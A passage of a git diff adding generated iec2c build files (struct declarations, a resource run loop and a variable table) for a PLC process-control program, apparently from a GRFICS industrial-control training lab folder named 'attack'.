__DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; 